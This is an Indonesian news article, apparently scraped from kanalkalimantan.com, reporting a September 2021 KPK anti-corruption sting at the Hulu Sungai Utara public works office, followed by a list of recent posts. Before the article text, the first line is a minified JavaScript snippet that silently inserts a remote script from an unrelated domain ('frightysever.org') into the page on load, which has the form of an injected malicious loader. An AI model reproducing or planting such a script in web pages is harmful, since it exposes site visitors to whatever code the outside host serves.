(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BEREDAR. Ini Nama-nama Pihak yang Tersangkut OTT KPK di HSU


KANALKALIMANTAN.COM, JAKARTA – KPK melaksanakan operasi tangkap tangan (OTT) di wilayah Kabupaten Hulu Sungai Utara (HSU), Kalsel, Rabu (15/9/2021). OTT tersebut dilakukan di kantor Dinas Pekerjaan Umum (PU) sekitar pukul 21.00 Wita.

Menurut info awal, sebagaimana dilansir Tvonenews.com, ada sejumlah orang terduga tindak pidana korupsi yang berhasil diamankan. Operasi tangkap tangan itu menjerat Plt Kepala Dinas PU atas nama Maliki, Ketua Gapensi HSU atas nama Ahok, kemudian beberapa orang yang belum terkonfirmasi masing-masing atas nama LT, MR, MO, dan FH.

Dalam ruangan tersebut mereka diduga melakukan transaksi atas kegiatan proyek. Pada lokasi yang sama turut diamankan satu buah kresek yang diduga berisi uang.

Sebelumnya, Plt Kadis PU bersama sejumlah staf, serta pihak swasta yang terkait kasus ini, telah tiba di Gedung KPK untuk langsung dilakukan pemeriksaan, Kamis (16/9/2021).

 

 

Baca juga : Plt Kadis PU HSU dan Pihak Terkait OTT Tiba di Gedung KPK, Langsung Diperiksa!

“Sekitar jam 8 malam, tim KPK berhasil mengamankan beberapa pihak dalam kegiatan tangkap tangan terkait dugaan tindak pidana korupsi di wilayah Kalimantan Selatan,” ujar Plt Juru Bicara Penindakan KPK, Ali Fikri, melalui keterangan tertulis, Kamis (16/9/2021).

Sejauh ini, Ali belum mengungkapkan identitas para pihak yang diamankan. Pun, soal kasus yang sedang diusut tersebut.

Ia menegaskan, para pihak yang terjaring OTT saat ini sudah berada di Gedung Merah Putih KPK untuk menjalani pemeriksaan lebih lanjut.

“Saat ini tim dan pihak yang diamankan dibawa ke Jakarta untuk dilakukan permintaan keterangan,” tutur Ali.

Baca juga : Polda Kalsel Sudah Ketahui Adanya Operasi Tangkap Tangan KPK di HSU

Berdasarkan ketentuan Kitab Undang-undang Hukum Acara Pidana (KUHAP), lembaga antirasuah memiliki waktu 1×24 jam guna menentukan status hukum para pihak yang tertangkap tangan.

“Perkembangannya akan kami sampaikan lebih lanjut,” tandasnya.(Kanalkalimantan.com/kk)

Reporter : kk
Editor: cell


Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

9 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

12 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

13 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

14 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

16 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

16 jam ago

This website uses cookies.